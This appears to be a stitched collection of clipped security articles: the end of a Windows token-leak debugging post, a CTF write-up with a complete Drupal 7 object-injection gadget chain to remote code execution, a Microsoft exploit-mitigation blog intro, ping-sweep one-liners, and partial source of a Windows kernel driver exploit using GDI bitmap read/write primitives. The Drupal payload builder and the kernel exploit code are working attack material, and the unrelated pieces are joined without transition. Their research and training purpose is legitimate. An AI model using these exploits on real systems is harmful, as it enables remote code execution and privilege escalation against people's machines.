\!fel -x “dt nt\!\_SEP\_LOGON\_SESSION\_REFERENCES @\#Line -l Next”

\!fel is an abbreviation for \!foreachline.

This command instructs the debugger to execute the given command for each line
of output supplied by the previous command, where the @\#Line pseudo-variable
represents the individual line of output. For each line of output that came
from the dps command, we are going to use the dt command with the -l parameter
to walk that list. \(More on walking lists in just a second.\)

Next, we use the \!grep command to filter all of that output so that only a
single unique line is shown from each list element, as I showed earlier.

Finally, we use the \!count -q command to suppress all of the output generated
up to that point, and instead only tell us how many lines of output it _would
have_ generated. This should be the total number of logon sessions on the
system.

And 380 was in fact the exact number of logon sessions on the computer when I
collected this memory dump. \(Refer to Figure 16.\)

Alright… now let’s take a deep breath and a step back. We just walked an
entire array of lists of structures with a single line of commands. But now we
need to zoom in and take a closer look at the data structures contained within
those lists.

Remember, ffffb808\`3ea02650 was the very beginning of the entire array.

Let’s examine just the very first \_SEP\_LOGON\_SESSION\_REFERENCES entry of
the first list, to see what such a structure looks like:

<img src='img/seplogonsessions1.png' width='705' height='294' alt='Figure 18 -
dt _SEP_LOGON_SESSION_REFERENCES* ffffb808`3ea02650' />

Figure 18 – dt \_SEP\_LOGON\_SESSION\_REFERENCES\* ffffb808\`3ea02650

That’s a logon session\!

Let’s go over a few of the basic fields in this structure. \(Skipping some of
the more advanced ones.\)

  * **Next** : This is a pointer to the next element in the list. You might notice that there’s a “Next,” but there’s no “Previous.” So, you can only walk the list in one direction. This is a singly-linked list.
  * **LogonId** : Every logon gets a unique one. For example, “0x3e7” is always the “System” logon.
  * **ReferenceCount** : This is how many outstanding token references this logon session has. This is the number that must reach zero before the logon session can be destroyed. In our example, it’s 4.
  * **AccountName** : The user who does or used to occupy this session.
  * **AuthorityName** : Will be the user’s Active Directory domain, typically. Or the computer name if it’s a local account.
  * **TokenList** : This is a doubly or circularly-linked list of the tokens that are associated with this logon session. The number of tokens in this list should match the ReferenceCount.

The following is an illustration of a doubly-linked list:

<img src='img/doublylinkedlist.png' width='567' height='359' alt='Figure 19 -
Doubly or circularly-linked list' />

Figure 19 – Doubly or circularly-linked list

“Flink” stands for Forward Link, and “Blink” stands for Back Link.

So now that we understand that the TokenList member of the
\_SEP\_LOGON\_SESSION\_REFERENCES structure is a linked list, here is how you
walk that list:

<img src='img/walktokenlist1.png' width='862' height='480' alt='Figure 20 - dt
nt!_LIST_ENTRY* 0xffffb808`500bdba0+0x0b0 -l Flink' />

Figure 20 – dt nt\!\_LIST\_ENTRY\* 0xffffb808\`500bdba0+0x0b0 -l Flink

The dt command stands for “display type,” followed by the symbol name of the
type that you want to cast the following address to. The reason why we
specified the address 0xffffb808\`500bdba0 is because that is the address of
the \_SEP\_LOGON\_SESSION\_REFERENCES object that we found earlier. The reason
why we added +0x0b0 after the memory address is because that is the offset
from the beginning of the structure at which the TokenList field begins. The
-l parameter specifies that we’re trying to walk a list, and finally you must
specify a field name \(Flink in this case\) that tells the debugger which
field to use to navigate to the next node in the list.

We walked a list of tokens and what did we get? A list head and 4 data nodes,
5 entries total, which lines up with the ReferenceCount of 4 tokens that we
saw earlier. One of the nodes won’t have any data – that’s the list head.

Now, for each entry in the linked list, we can examine its data. We know the
payloads that these list nodes carry are tokens, so we can use dt to cast them
as such:

<img src='img/tokendbg1.png' width='773' height='703' alt='Figure 21 - dt
_TOKEN*0xffffb808`4f565f40+8+8 - Examining the first token in the list' />

Figure 21 – dt \_TOKEN\*0xffffb808\`4f565f40+8+8 – Examining the first token
in the list

The reason for the +8+8 on the end is because that’s the offset of the
payload. It’s just after the Flink and Blink as shown in Figure 19. You want
to skip over them.

We can see that this token is associated to SessionId 0x136/0n310. \(Remember
I had 380 leaked sessions in this dump.\) If you examine the UserAndGroups
member by clicking on its DML \(click the link,\) you can then use \!sid to
see the SID of the user this token represents:

<img src='img/bangsid.png' width='962' height='148' alt='Figure 22 - Using
!sid to see the security identifier in the token' />

Figure 22 – Using \!sid to see the security identifier in the token

The token also has a DiagnosticInfo structure, which is super-interesting, and
is the coolest thing that we unlocked when we set the SeTokenLeakDiag registry
setting on the machine earlier. Let’s look at it:

<img src='img/DiagnosticInfo.png' width='1096' height='189' alt='Figure 23 -
Examining the DiagnosticInfo structure of the first token' />

Figure 23 – Examining the DiagnosticInfo structure of the first token

We now have the process ID and the thread ID that was responsible for creating
this token\! We could examine the ImageFileName, or we could use the
ProcessCid to see who it is:

<img src='img/mexpid.png' width='635' height='185' alt='Figure 24 - Using
!mex.tasklist to find a process by its PID' />

Figure 24 – Using \!mex.tasklist to find a process by its PID

Oh… _Whoops_. Looks like this particular token leak is lsass’s fault. You’re
just going to have to let the _\*ahem\*_ application vendor take care of that
one.

Let’s move on to a different token leak. We’re moving on to a different memory
dump file as well, so the memory addresses are going to be different from here
on out.

I created a special token-leaking application specifically for this article.
It looks like this:

<img src='img/tokengrabber.png' width='618' height='370' alt='Figure 25 -
RyansTokenGrabber.exe' />

Figure 25 – RyansTokenGrabber.exe

It monitors the system for users logging on, and as soon as they do, it
duplicates their token via the DuplicateToken API call. I purposely never
release those tokens, so if I collect a memory dump of the machine while this
is running, then evidence of the leak should be visible in the dump, using the
same steps as before.

Using the same debugging techniques I just demonstrated, I verified that I
have leaked logon sessions in this memory dump as well, and each leaked
session has an access token reference that looks like this:

<img src='img/DiagnosticInfo2.png' width='628' height='77' alt='Figure 26 - A
_TOKEN structure shown with its attached DiagnosticInfo' />

Figure 26 – A \_TOKEN structure shown with its attached DiagnosticInfo

And then by looking at the token’s DiagnosticInfo, we find that the guilty
party responsible for leaking this token is indeed RyansTokenGrabber.exe:

<img src='img/tokengrabberleak.png' width='745' height='138' alt='Figure 27 -
The process responsible for leaking this token' />

Figure 27 – The process responsible for leaking this token

By this point you know who to blame, and now you can go find the author of
RyansTokenGrabber.exe, and show them the stone-cold evidence that you’ve
collected about how their application is leaking access tokens, leading to
logon session leaks, causing you to have to reboot your server every few days,
which is a ridiculous and inconvenient thing to have to do, and you shouldn’t
stand for it\!

We’re almost done. but I have one last trick to show you.

If you examine the StackTrace member of the token’s DiagnosticInfo, you’ll see
something like this:

<img src='img/CreateTrace1.png' width='1009' height='450' alt='Figure 28 -
DiagnosticInfo.CreateTrace' />

Figure 28 – DiagnosticInfo.CreateTrace

This is a stack trace. It’s a snapshot of all the function calls that led up
to this token’s creation. These stack traces grew upwards, so the function at
the top of the stack was called last. But the function addresses are not
resolving. We must do a little more work to figure out the names of the
functions.

First, clean up the output of the stack trace:

<img src='img/grepcleanstacktrace.png' width='738' height='453' alt='Figure 29
- Using !grep and !cut to clean up the output' />

Figure 29 – Using \!grep and \!cut to clean up the output

Now, using all the snazzy new Mex magic you’ve learned, see if you can
unassemble \(that’s the u command\) each address to see if resolves to a
function name:

<img src='img/unassemblefuncs.png' width='917' height='252' alt='Figure 30 -
Unassemble instructions at each address in the stack trace' />

Figure 30 – Unassemble instructions at each address in the stack trace

The output continues beyond what I’ve shown above, but you get the idea.

The function on top of the trace will almost always be SepDuplicateToken, but
could also be SepCreateToken or SepFilterToken, and whether one creation
method was used versus another could be a big hint as to where in the
program’s code to start searching for the token leak. You will find that the
usefulness of these stacks will vary wildly from one scenario to the next, as
things like inlined functions, lack of symbols, unloaded modules, and managed
code all influence the integrity of the stack. However, you \(or the developer
of the application you’re using\) can use this information to figure out where
the token is being created in this program, and fix the leak.

Alright, that’s it. If you’re still reading this, then… thank you for hanging
in there. I know this wasn’t exactly a light read.

And lastly, allow me to reiterate that this is not just a contrived,
unrealistic scenario; There’s a lot of software out there on the market that
does this kind of thing. And if you happen to write such software, then I
really hope you read this blog post. It may help you improve the quality of
your software in the future. Windows needs application developers to be “good
citizens” and avoid writing software with the ability to destabilize the
operating system. Hopefully this blog post helps someone out there do just
that.

Until next time,  
Ryan “Too Many Tokens” Ries

  

# CTF Writeup: Complex Drupal POP Chain

**Created:**| _3/2/2019 6:32:15 PM_  
---|---  
**Updated:**| _3/2/2019 6:32:15 PM_  
**Author:**| _wishi_  
**Tags:**| _web-app-sec rop_  
  

  

# CTF Writeup: Complex Drupal POP Chain

29 Jan 2019 by Simon Scannell  

<img src='img/Temp2_1294.png' width='715' height='426' alt='Drupal' />

A recent Capture-The-Flag tournament hosted by Insomni’hack challenged
participants to craft an attack payload for Drupal 7. This blog post will
demonstrate our solution for a PHP Object Injection with a complex POP gadget
chain.

## About the Challenge

The Droops challenge consisted of a website which had a modified version of
Drupal 7.63 installed. The creators of the challenge added a Cookie to the
Drupal installation that contained a PHP serialized string, which would then
be unserialized on the remote server, leading to a PHP Object Injection
vulnerability. Finding the cookie was straightforward and the challenge was
obvious: Finding and crafting a POP chain for Drupal.

If you are not familiar with PHP Object Injections we recommend reading our
blog post about the basics of PHP Object Injections.

## Drupal POP Chain to Drupalgeddon 2

We found the following POP chain in the Drupal source code that affects its
cache mechanism. Through the POP chain it was possible to inject into the
Drupal cache and abuse the same feature that lead to the Drupalgeddon 2
vulnerability. No knowledge of this vulnerability is required to read this
blog post, as each relevant step will be explained.

The POP chain is a second-order Remote Code Execution, which means that it
consists of two steps:

  1. Injecting into the database cache the rendering engine uses
  2. Exploiting the rendering engine and Drupalgeddon 2

### Injecting into the cache

The `DrupalCacheArray` class in `includes/bootstrap.inc` implements a
destructor and writes some data to the database cache with the method `set()`.
This is our entry point of our gadget chain.

[code]

     1 2 3 4 5 6 7 8 91011121314
[/code]

|

[code]

      /**
       * Destructs the DrupalCacheArray object.
       */
      public function __destruct() {
        $data = array();
        foreach ($this->keysToPersist as $offset => $persist) {
          if ($persist) {
            $data[$offset] = $this->storage[$offset];
          }
        }
        if (!empty($data)) {
          $this->set($data);
        }
      }
[/code]  
---|---  
The `set()` method will essentially call Drupal’s `cache_set()` function with
`$this->cid`, `$data`, and `$this->bin`, which are all under control of the
attacker since they are properties of the injected object. We assumed that we
are now able to inject arbitrary data into the Drupal cache.

[code]

     1 2 3 4 5 6 7 8 91011121314
[/code]

|

[code]

      protected function set($data, $lock = TRUE) {
        // Lock cache writes to help avoid stampedes.
        // To implement locking for cache misses, override __construct().
        $lock_name = $this->cid . ':' . $this->bin;
        if (!$lock || lock_acquire($lock_name)) {
          if ($cached = cache_get($this->cid, $this->bin)) {
            $data = $cached->data + $data;
          }
          cache_set($this->cid, $data, $this->bin);
          if ($lock) {
            lock_release($lock_name);
          }
        }
      }
[/code]  
---|---  
In order to find out if this assumption was true, we started digging into the
internals of the Drupal cache. We found out that the cache entries are stored
in the database. Each cache type has its own table. \(A cache for forms, one
for pages and so on.\)

[code]

     1 2 3 4 5 6 7 8 910111213141516
[/code]

|

[code]

    MariaDB [drupal7]> SHOW TABLES;
    +-----------------------------+
    | Tables_in_drupal7           |
    +-----------------------------+
    ...
    | cache                       |
    | cache_block                 |
    | cache_bootstrap             |
    | cache_field                 |
    | cache_filter                |
    | cache_form                  |
    | cache_image                 |
    | cache_menu                  |
    | cache_page                  |
    | cache_path                  |
    ...
[/code]  
---|---  
After a bit more of digging around, we discovered that the table name is the
equivalent to `$this->bin`. This means we can set `bin` to be of any cache
type and inject into any cache table. But what can we do with this?

The next step was to analyze the different cache tables for interesting
entries and their structure.

[code]

     1 2 3 4 5 6 7 8 910
[/code]

|

[code]

    MariaDB [drupal7]> DESC cache_form;
    +------------+--------------+------+-----+---------+-------+
    | Field      | Type         | Null | Key | Default | Extra |
    +------------+--------------+------+-----+---------+-------+
    | cid        | varchar(255) | NO   | PRI |         |       |
    | data       | longblob     | YES  |     | NULL    |       |
    | expire     | int(11)      | NO   | MUL | 0       |       |
    | created    | int(11)      | NO   |     | 0       |       |
    | serialized | smallint(6)  | NO   |     | 0       |       |
    +------------+--------------+------+-----+---------+-------+
[/code]  
---|---  
For example the `cache_form` table has a column called `cid`. As a reminder,
one of the arguments to `cache_set()` was `$this->cid`. We assumed the
following: `$this->cid` maps to the `cid` column of the cache table, which is
set in `$this->bin`. `cid` is the key of a cache entry and the `data` column
simply is the `$data` parameter in `cache_set()`.

To verify all these assumptions we created a serialized payload locally by
creating a class in a `build.php` file and unserialized it on my test Drupal
setup:

[code]

     1 2 3 4 5 6 7 8 910111213
[/code]

|

[code]

    class SchemaCache {
        // Insert an entry with some cache_key
        protected $cid = "some_cache_key";
    
        // Insert it into the cache_form table
        protected $bin = "cache_form";
    
        protected $keysToPersist = array('input_data' => true);
    
        protected $storage = array('input_data' => array("arbitrary data!"));
    }
    $schema = new SchemaCache();
    echo serialize($schema);
[/code]  
---|---  
The reason we used the `SchemaCache` class here is because it extends the
abstract class `DrupalCacheArray`, which means it can’t be instantiated on its
own. The deserialization of this data lead to the following entry in the
`cache_form` table being created:

[code]

    123456
[/code]

|

[code]

    MariaDB [drupal7]> SELECT * FROM cache_form;
    +----------------+-----------------------------------------------------------+--------+------------+------------+
    | cid            | data                                                      | expire | created    | serialized |
    +----------------+-----------------------------------------------------------+--------+------------+------------+
    | some_cache_key | a:1:{s:10:"input_data";a:1:{i:0;s:15:"arbitrary data!";}} |      0 | 1548684864 |          1 |
    +----------------+-----------------------------------------------------------+--------+------------+------------+
[/code]  
---|---  
### Using the injected cached data to gain Remote Code Execution

Since we were now able to inject arbitrary data into any caching table, we
started to search for ways in which the cache was used by Drupal that could be
used to gain Remote Code Execution. After a bit of searching, we stumbled upon
the following ajax callback, which can be triggered by making a request to the
URL: `http://drupalurl.org/?q=system/ajax`.

[code]

    1234
[/code]

|

[code]

    function ajax_form_callback() {
      list($form, $form_state, $form_id, $form_build_id, $commands) = ajax_get_form();
      drupal_process_form($form['#form_id'], $form, $form_state);
    }
[/code]  
---|---  
The `ajax_get_form()` function internally uses `cache_get()` to retrieve a
cached entry from the `cache_form` table:

[code]

    12345
[/code]

|

[code]

      if ($cached = cache_get('form_' . $form_build_id, 'cache_form')) {
        $form = $cached->data;
      ...
      return $form;
     }
[/code]  
---|---  
This is interesting because this means it is possible to pass an arbitrary
form render array to `drupal_process_form()`. As previously mentioned, the
Drupalgeddon 2 vulnerability abused this feature, so chances were high that
code execution could be achieved with the ability to inject arbitrary render
arrays into the rendering engine.

Within `drupal_process_form()`, we found the following lines of code:

[code]

    1234
[/code]

|

[code]

      if (isset($element['#process']) && !$element['#processed']) {
        foreach ($element['#process'] as $process) {
          $element = $process($element, $form_state, $form_state['complete form']);
        }
[/code]  
---|---  
Here, `$element` refers to the `$form` received via `cache_get()`, meaning the
keys and values of the array can be set arbitrarily. This means it is possible
to simply set an arbitrary `process` \(`#process`\) callback and execute it
with the render array as a parameter. Since the first argument is an array, it
is not possible to simply call a function such as `system()` directly. What is
required is a function that takes an array as input that leads to RCE.

The `drupal_process_attached()` function seemed very promising:

[code]

     1 2 3 4 5 6 7 8 91011
[/code]

|

[code]

    function drupal_process_attached($elements, $group = JS_DEFAULT, $dependency_check = FALSE, $every_page = NULL) {
    ...
      foreach ($elements['#attached'] as $callback => $options) {
        if (function_exists($callback)) {
          foreach ($elements['#attached'][$callback] as $args) {
            call_user_func_array($callback, $args);
          }
        }
      }
    
      return $success;
[/code]  
---|---  
Since all array keys and values can be set arbitrarily, is is possible to call
an arbitrary function with arbitrary arguments via `call_user_func_array()`,
which leads to RCE\!

This means the final POP chain looks like this:

[code]

     1 2 3 4 5 6 7 8 9101112131415161718192021222324252627
[/code]

|

[code]

    <?php
    class SchemaCache {
        // Insert an entry with some cache_key
        protected $cid = "form_1337";
    
        // Insert it into the cache_form table
        protected $bin = "cache_form";
    
        protected $keysToPersist = array(
            '#form_id' => true,
            '#process' => true,
            '#attached' => true
        );
    
        protected $storage = array(
                '#form_id' => 1337,
                '#process' => array('drupal_process_attached'),
                '#attached' => array(
                    'system' => array(array('sleep 20'))
                )
        );
    
    
    }
    
    $schema = new SchemaCache();
    echo serialize($schema);
[/code]  
---|---  
All that is left to do is to trigger the PHP Object Injection vulnerability
with the resulting serialized string and then to make a POST request to
`http://drupalurl.org/?q=system/ajax` and set the POST parameter
`form_build_id` to `1337` to trigger the RCE.

## Conclusion

POP chains can often become more complex and require a deeper knowledge of the
application. However, the purpose of this blog post was to demonstrate that
exploitation is still possible, even if no obvious, first order POP chain
exists. If we had not known that the rendering API of drupal uses a lot of
callbacks and had vulnerabilities in the past, we probably would not have
found this particular POP chain. Alternatively, deep PHP knowledge can also
lead to working POP chains when no obvious POP chain can be found. There
exists another POP chain, an Object Instantion to Blind XXE to File Read to
SQL Injection to RCE. A write up for this POP chain was written by Paul Axe
and can be found here. We also would like to thank the creators for creating
this and the other amazing challenges for the Insomni’hack CTF 2019.

  

# Software Defense Series: Exploit mitigation and vulnerability detection -
Security Research & Defense - Site Home - TechNet Blogs

**Created:**| _10/2/2013 3:13:02 PM_  
---|---  
**Updated:**| _10/2/2013 3:13:02 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification binary instrumentation Defense_  
  

# **S** oftware Defense Series: Exploit mitigation and vulnerability
detection****

swiat

27 Sep 2013 8:23 AM

Software Defense is a broad topic requiring a multipronged approach including:

\- the processes and tooling associated with secure development \(that we try
and encapsulate within the Microsoft SDL \),

\- core OS countermeasures that make exploitation of a given vulnerability
more difficult for an attacker,

\- steps to secure the hardware on which the software runs,

\- real time analysis of other software on the host such as that performed by
Windows Defender…

All these play a part**.** Our focus in this series is on the first two of
these, more specifically on how the Windows operating system together with the
toolchain included in Visual Studio releases together improve the state of
Software Defense with respect to exploit mitigation and vulnerability
detection**.**

Exploitation of memory safety vulnerabilities has been an area of active
research, both defensive and offensive, in recent years**.** In this series we
outline by way of examples our approach to improving the quality and
resilience of code to such issues, for both Microsoft products and third party
code running on Microsoft platforms.

At a high level there are two tiers of approach, summarized in the preceding
paragraph by the words ‘quality’ and ‘resilience’:

1**.** Resilience

We invest in exploit mitigations that will make any residual bugs in our
products:

  * Difficult to exploit – thus driving up the attacker’s cost, 
  * Unreliable to exploit – thus minimizing the attacker’s return on investment as an unreliable exploit is more likely to be detected and reported to Microsoft or other security vendors**.**

The impact of security science in protecting customers  provides some
historical data on the impact of past deployment of such mitigations**.** The
value that we place on exploit mitigations is also underlined by our recently
announced Mitigation Bypass bounty and BlueHat Defense program _**.**_ As well
as describing recent improvements in exploit mitigation, this series will
highlight some of the less obvious challenges that we face during design and
development, including:

\- how a given measure will impact backwards application compatibility**.**

\- performance impact in terms of runtime cost, memory overhead and code
size**.**

The first posts in the series review how successive Windows and VC++ releases
have enabled widespread hardening against heap and stack corruption
vulnerabilities**.**

We will then move on to describe the status of generic exploit mitigations
such as DEP/ASLR, aimed directly at frustrating attacker techniques, rather
than any specific class of vulnerability**.**

Having looked at these generic approaches, the next articles will review far
more targeted runtime measures against specific classes of code defects such
as reference-counting issues, local elevation of privilege through kernel mode
null dereferences and integer overflow bugs**.**

2\. Quality

We will conclude the series by describing some of the capabilities that we’ve
developed to statically detect more bugs during development through analysis
of source code during compilation, thus enabling many issues to be fixed
before a product ships**.** In particular we will focus on new security-
relevant warnings in the latest Visual Studio release and how they can be
applied directly in your own apps**.**

In order to improve accuracy and minimize noise, such detection techniques are
typically highly targeted at very specific code defects: while the scope of
protection is therefore limited to a specific bug class, they do however offer
the potential of completely eradicating that bug class**.**

Balancing scope of applicability with completeness of protection is a theme
that we will pick up again in more detail in later articles**.** We will also
discuss trade-offs related to application compatibility and issues raised when
considering back-porting new security advances to older platforms.

Many of the items above, taken on their own, can appear as disparate unrelated
improvements**.** This series is an opportunity to highlight some of the
connections and underlying rationale behind the various complementary
approaches that we pursue along with the engineering challenges that we have
faced along the way**.** We hope you find it interesting.

MSEC security science team

****

# Command Line Kung Fu: Episode \#6 -- Command-Line Ping Sweeper

**Created:**| _5/16/2009 10:34:58 AM_  
---|---  
**Updated:**| _5/16/2009 10:35:01 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#6 -- Command-Line Ping Sweeper

Ed Says:  
  
Here's a Windows command to do ping sweeps at the command line:  
  
C:\> FOR /L %i in \(1,1,255\) do @ping -n 1 10.10.10.%i | find "Reply"  
  
Here, I've got a FOR /L loop, which is a counter. My iterator variable is %i.
It starts at 1, steps up by 1 through each iteration through the loop, going
up to 255. I want to ping through a /24-sized subnet. I then turn off command
echo \(@\), and ping each IP address once \(-n 1\). I scrape through the
output using the find command, looking for "Reply". The find command is case
sensitive, so I put in the cap-R in "Reply". Or, you could use /i to make the
find case insensitive.  
  
By the way, you can speed it up by adding "-w 100" to have a timeout of 100
milliseconds between each ping, rather than the normal.  
  
\(Note... I had "-t 100" here earlier, but fixed it for "-w 100". Thanks to
@bolbroe for the catch. The fact is, I so often use -t with Windows ping to
make it keep pinging a la Linux, it feels very natural to put -t in. But, the
issue here is to make it wait, with -w, for 100 milliseconds.\)  
  
Hal Comments:  
  
I have to admit that my first impulse here was to respond with "sudo apt-get
install nmap". But Ed's going to be a stickler for our "built-in shell
commands only" rule, so I guess I have to come up with something else.  
  
Here's a fun approach that's very different from Ed's loop:  

[code]

    # ping -b -c 3 255.255.255.255 >/dev/null 2>&1; arp -an | awk '{print $2}'
    
[/code]

  
ping the broadcast address a few times and then scrape out your ARP table to
get the IP addresses of the responding hosts \(the old "ARP shotgun"
approach\). The only problem is that this only works for hosts on your local
LAN.  
  
So I guess my final solution is a lot like Ed's:  

[code]

    $ for i in `seq 1 255`; do ping -c 1 10.10.10.$i | tr \\n ' ' | awk '/1 received/ {print $2}'; done
    
[/code]

  
By the way, notice the "tr \\\n ' '" hiding in the middle of that shell
pipeline? The problem is that the ping command generally produces multi-line
output and I need to confirm that the packet was received \(last line of
output\) before printing the IP address I pinged \(first line of output\). So
I'm using tr to convert the multi-line output into a single line that's easier
to tokenize with awk. This is a useful little shell programming idiom for your
toolkit.  
  
Ed stirs the pot a little bit more:  
  
I like your broadcast ping approach. Nifty\! Unfortunately, modern Windows
boxen don't respond to broadcast pings. Thus, your command will find Linux and
other machines on your same subnet, but not the Windows boxes. I tested it in
my lab, and found all my Linux machines happily telling me about their
existence, but my super stealthified \(NOT\!\) Windows boxes were silent.
Thus, while the broadcast ping is a nifty alternative for some special edge
cases \(targets on same subnet, don't care to find Windows boxes\), I think
the sweeper is the better way to go.

# Cn33liz/HSEVD-StackOverflowGDI

**Created:**| _5/7/2017 10:51:36 AM_  
---|---  
**Updated:**| _5/7/2017 10:51:36 AM_  
**Author:**| __  
**Tags:**| _research Microsoft vulnerability Tutorials Driver tutorial_  
  

  

1 | \#include <windows.h>  
---|---  
2 | \#include <stdio.h>  
3 | \#include <sddl.h>  
4 | \#include "HS-StackOverflowGDI.h"  
5 |   
6 |   
7 | LONG BitmapArbitraryRead\(HBITMAP hManager, HBITMAP hWorker, LPVOID lpReadAddress, LPVOID lpReadResult, DWORD dwReadLen\)  
8 | \{  
9 |  SetBitmapBits\(hManager, dwReadLen, &lpReadAddress\); // Set Workers pvScan0 to the Address we want to read.   
10 |  return GetBitmapBits\(hWorker, dwReadLen, lpReadResult\); // Use Worker to Read result into lpReadResult Pointer.  
11 | \}  
12 |   
13 |   
14 | LONG BitmapArbitraryWrite\(HBITMAP hManager, HBITMAP hWorker, LPVOID lpWriteAddress, LPVOID lpWriteValue, DWORD dwWriteLen\)  
15 | \{  
16 |  SetBitmapBits\(hManager, dwWriteLen, &lpWriteAddress\); // Set Workers pvScan0 to the Address we want to write.  
17 |  return SetBitmapBits\(hWorker, dwWriteLen, &lpWriteValue\); // Use Worker to Write at Arbitrary Kernel address.  
18 | \}  
19 |   
20 |   
21 | LeakBitmapInfo GDIReloaded\(LPCWSTR lpBitmapName, DWORD dwOffsetToPvScan0\)  
22 | \{  
23 |  LeakBitmapInfo BitmapInfo;  
24 |  DWORD dwCounter = 0;  
25 |  HACCEL hAccel; // Handle to Accelerator table   
26 |  LPACCEL lpAccel; // Pointer to Accelerator table Array  
27 |  PUSER\_HANDLE\_ENTRY AddressA = NULL;  
28 |  PUSER\_HANDLE\_ENTRY AddressB = NULL;  
29 |  PUCHAR pAcceleratorAddrA = NULL;  
30 |  PUCHAR pAcceleratorAddrB = NULL;  
31 |   
32 |  PSHAREDINFO pSharedInfo = \(PSHAREDINFO\)GetProcAddress\(GetModuleHandle\(L"user32.dll"\), "gSharedInfo"\);  
33 |  PUSER\_HANDLE\_ENTRY gHandleTable = pSharedInfo->aheList;  
34 |  DWORD index;  
35 |   
36 |  // Allocate Memory for the Accelerator Array  
37 |  lpAccel = \(LPACCEL\)LocalAlloc\(LPTR, sizeof\(ACCEL\) \* 700\);  
38 |   
39 |  wprintf\(L" \[\*\] Creating and Freeing AcceleratorTables"\);  
40 |   
41 |  while \(dwCounter < 20\) \{  
42 |  hAccel = CreateAcceleratorTable\(lpAccel, 700\);  
43 |  index = LOWORD\(hAccel\);  
44 |  AddressA = &gHandleTable\[index\];  
45 |  pAcceleratorAddrA = \(PUCHAR\)AddressA->pKernel;  
46 |  DestroyAcceleratorTable\(hAccel\);  
47 |   
48 |  hAccel = CreateAcceleratorTable\(lpAccel, 700\);  
49 |  index = LOWORD\(hAccel\);  
50 |  AddressB = &gHandleTable\[index\];  
51 |  pAcceleratorAddrB = \(PUCHAR\)AddressB->pKernel;  
52 |   
53 |  if \(pAcceleratorAddrA == pAcceleratorAddrB\) \{  
54 |  DestroyAcceleratorTable\(hAccel\);  
55 |  LPVOID lpBuf = VirtualAlloc\(NULL, 0x50 \* 2 \* 4, MEM\_COMMIT | MEM\_RESERVE, PAGE\_READWRITE\);  
56 |  BitmapInfo.hBitmap = CreateBitmap\(0x701, 2, 1, 8, lpBuf\);  
57 |  break;  
58 |  \}  
59 |  DestroyAcceleratorTable\(hAccel\);  
60 |  dwCounter++;  
61 |  \}  
62 |   
63 |  wprintf\(L" -> Done\!\n"\);  
64 |   
65 |  BitmapInfo.pBitmapPvScan0 = pAcceleratorAddrA + dwOffsetToPvScan0;  
66 |  wprintf\(L" \[+\] Duplicate AcceleratorTable Address: 0x%p \n", pAcceleratorAddrA\);  
67 |  wprintf\(L" \[+\] %ls Bitmap Handle at: 0x%08x \n", lpBitmapName, \(ULONG\)BitmapInfo.hBitmap\);  
68 |  wprintf\(L" \[+\] %ls Bitmap pvScan0 Pointer: 0x%p \n\n", lpBitmapName, BitmapInfo.pBitmapPvScan0\);  
69 |   
70 |  return BitmapInfo;  
71 | \}  
72 |   
73 |   
74 | KERNELINFO KernelInfo\(LPCSTR lpSymbolName\)  
75 | \{  
76 |  KERNELINFO pLiveKernelInfo;  
77 |  DWORD len;  
78 |  PSYSTEM\_MODULE\_INFORMATION ModuleInfo;  
79 |  LPVOID kernelBase = NULL;  
80 |  HMODULE hUserSpaceKernel;  
81 |  LPCSTR lpKernelName = NULL;  
82 |  FARPROC pUserKernelSymbol = NULL;  
83 |   
84 |  \_NtQuerySystemInformation NtQuerySystemInformation = \(\_NtQuerySystemInformation\)  
85 |  GetProcAddress\(GetModuleHandle\(L"ntdll.dll"\), "NtQuerySystemInformation"\);  
86 |  if \(NtQuerySystemInformation == NULL\) \{  
87 |  wprintf\(L" -> Oops something went wrong\!\n\n"\);  
88 |  exit\(1\);  
89 |  \}  
90 |   
91 |  NtQuerySystemInformation\(SystemModuleInformation, NULL, 0, &len\);  
92 |  ModuleInfo = \(PSYSTEM\_MODULE\_INFORMATION\)VirtualAlloc\(NULL, len, MEM\_COMMIT | MEM\_RESERVE, PAGE\_READWRITE\);  
93 |  if \(\!ModuleInfo\)  
94 |  \{  
95 |  wprintf\(L" -> Unable to read KernelInfo\!\n\n"\);  
96 |  exit\(1\);  
97 |  \}  
98 |   
99 |  NtQuerySystemInformation\(SystemModuleInformation, ModuleInfo, len, &len\);  
100 |   
101 |  kernelBase = ModuleInfo->Module\[0\].ImageBase;  
102 |   
103 |  /\* Find exported Kernel Functions \*/  
104 |   
105 |  lpKernelName = ModuleInfo->Module\[0\].FullPathName \+ ModuleInfo->Module\[0\].OffsetToFileName;  
106 |   
107 |  hUserSpaceKernel = LoadLibraryExA\(lpKernelName, 0, 0\);  
108 |  if \(hUserSpaceKernel == NULL\)  
109 |  \{  
110 |  VirtualFree\(ModuleInfo, 0, MEM\_RELEASE\);  
111 |  wprintf\(L" -> Unable to read KernelInfo\!\n\n"\);  
112 |  exit\(1\);  
113 |  \}  
114 |   
115 |  pUserKernelSymbol = GetProcAddress\(hUserSpaceKernel, lpSymbolName\);  
116 |  if \(pUserKernelSymbol == NULL\)  
117 |  \{  
118 |  VirtualFree\(ModuleInfo, 0, MEM\_RELEASE\);  
119 |  wprintf\(L" -> Unable to read KernelInfo\!\n\n"\);  
120 |  exit\(1\);  
121 |  \}  
122 |   
123 |  pLiveKernelInfo.pFunctionAddress = \(PUCHAR\)pUserKernelSymbol - \(PUCHAR\)hUserSpaceKernel + \(PUCHAR\)kernelBase;  
124 |  pLiveKernelInfo.pKernelBase = \(PUCHAR\)kernelBase;  
125 |   
126 |  FreeLibrary\(hUserSpaceKernel\);  
127 |  VirtualFree\(ModuleInfo, 0, MEM\_RELEASE\);  
128 |   
129 |  return pLiveKernelInfo;  
130 | \}  
131 |   
132 |   
133 | BOOL IsSystem\(VOID\)  
134 | \{  
135 |  DWORD dwSize = 0, dwResult = 0;  
136 |  HANDLE hToken = NULL;  
137 |  PTOKEN\_USER Ptoken\_User;  
138 |  LPWSTR SID = NULL;  
139 |   
140 |  // Open a handle to the access token for the calling process.  
141 |  if \(\!OpenProcessToken\(GetCurrentProcess\(\), TOKEN\_QUERY, &hToken\)\) \{  
142 |  return FALSE;  
143 |  \}  
144 |   
145 |  // Call GetTokenInformation to get the buffer size.  
146 |  if \(\!GetTokenInformation\(hToken, TokenUser, NULL, dwSize, &dwSize\)\) \{  
147 |  dwResult = GetLastError\(\);  
148 |  if \(dwResult \!= ERROR\_INSUFFICIENT\_BUFFER\) \{  
149 |  return FALSE;  
150 |  \}  
151 |  \}  
152 |   
153 |  // Allocate the buffer.  
